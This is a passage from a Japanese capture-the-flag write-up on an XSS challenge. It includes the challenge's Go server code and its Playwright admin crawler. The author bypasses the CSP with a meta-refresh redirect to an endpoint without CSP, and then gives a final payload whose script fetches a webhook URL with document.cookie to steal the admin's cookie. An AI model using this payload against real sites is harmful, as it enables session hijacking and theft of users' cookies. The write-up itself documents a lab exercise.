        re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
        if re.MatchString(id) {
            if val, ok := db.Get(id); ok {
                _, _ = c.Writer.WriteString(val[0])
            } else {
                _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
            }
        } else {
            _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
        }
    })

    // Report API
    r.POST("/report", func(c *gin.Context) {
        url := c.PostForm("url") // URL to report, example : "/user/ce93310c-b549-4fe2-9afa-a298dc4cb78d"
        re := regexp.MustCompile("^/user/[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
        if re.MatchString(url) {
            if err := redisClient.RPush(ctx, "url", url).Err(); err != nil {
                _, _ = c.Writer.WriteString("<p>Failed to report <a href='/'>Home</a></p>")
                return
            }
            if err := redisClient.Incr(ctx, "queued_count").Err(); err != nil {
                _, _ = c.Writer.WriteString("<p>Failed to report <a href='/'>Home</a></p>")
                return
            }
            _, _ = c.Writer.WriteString("<p>Reported! <a href='/'>Home</a></p>")
        } else {
            _, _ = c.Writer.WriteString("<p>invalid url <a href='/'>Home</a></p>")
        }
    })

    if err := r.Run(); err != nil {
        panic(err)
    }
}

index.js (クローラ)

const { chromium } = require("playwright");
const Redis = require("ioredis");
const connection = new Redis({
  host: process.env.REDIS_HOST,
  port: process.env.REDIS_PORT,
});

const APP_URL = process.env.APP_URL; // application URL
const HOST = process.env.HOST; // HOST
const FLAG = process.env.FLAG; // FLAG

const crawl = async (path) => {
  const browser = await chromium.launch();
  const page = await browser.newPage();
  const cookie = [
    {
      name: "flag",
      value: FLAG,
      domain: HOST,
      path: "/",
      expires: Date.now() / 1000 + 100000,
    },
  ];
  page.context().addCookies(cookie);
  try {
    await page.goto(APP_URL + path, {
      waitUntil: "domcontentloaded",
      timeout: 3000,
    });
    await page.waitForTimeout(1000);
    await page.close();
  } catch (err) {
    console.error("crawl", err.message);
  } finally {
    await browser.close();
    console.log("crawl", "browser closed");
  }
};

(async () => {
  while (true) {
    console.log(
      "[*] waiting new url",
      await connection.get("queued_count"),
      await connection.get("proceeded_count"),
    );
    await connection
      .blpop("url", 0)
      .then((v) => {
        const path = v[1];
        console.log("crawl", path);
        return crawl(path);
      })
      .then(() => {
        console.log("crawl", "finished");
        return connection.incr("proceeded_count");
      })
      .catch((e) => {
        console.log("crawl", e);
      });
  }
})();

ユーザー登録によってusername/profileに任意の文字を入力でき、/user/* をadminにクロールさせることができる。 adminがcookieを持っているので、それを流出させればフラグが得られる。
/user/:id で任意の文字を表示できるのでXSSを行いたいが、CSPで default-src 'self', script-src 'none' がついているのでここでのXSSは難しそう。
ソースを読むと、/user/:id の他に /username/:id というエンドポイントがあることが分かる。 このページはCSPが設定されておらず、手元のブラウザで試してみると実際にXSSを発火させることができた。 ただ、adminがクロールできる先は /user/* のみなので、どうにかして /username/* にアクセスを飛ばす必要がある。
HTMLにはmetaタグというものがあり、 <meta http-equiv="refresh" content="0;URL=https://evil.example.com"> のように書き込むことでCSPを貫通してリダイレクトを起こせる。 これを使うことでクローラに任意のアドレスを踏ませることができる。
ここまでは分かったが遷移先の /user/:idcookieが消えてしまい、ここから手詰まりになってしまった。 「多分解けそうなので頼む!」と書いて放置しておくとチームメイトが通してくれた。
metaタグの遷移先を http://app:8080/username/:id のようにする必要があったらしい。クローラのコードを見るとcookieのdomainが http://app:8080 で設定されており、遷移させる際のアドレスもそれに合わせる必要があったということだろう。
最終的なペイロード<meta http-equiv="refresh" content="0;URL=https://app:8080/username/{2つ目のid}"><script>fetch('https://{webhookへのリンク}?cookie=' + document.cookie)</script> になった。 今回はuserページを2つ用意したが、前者をprofileに、後者をusernameにすることでuser登録一回で済む。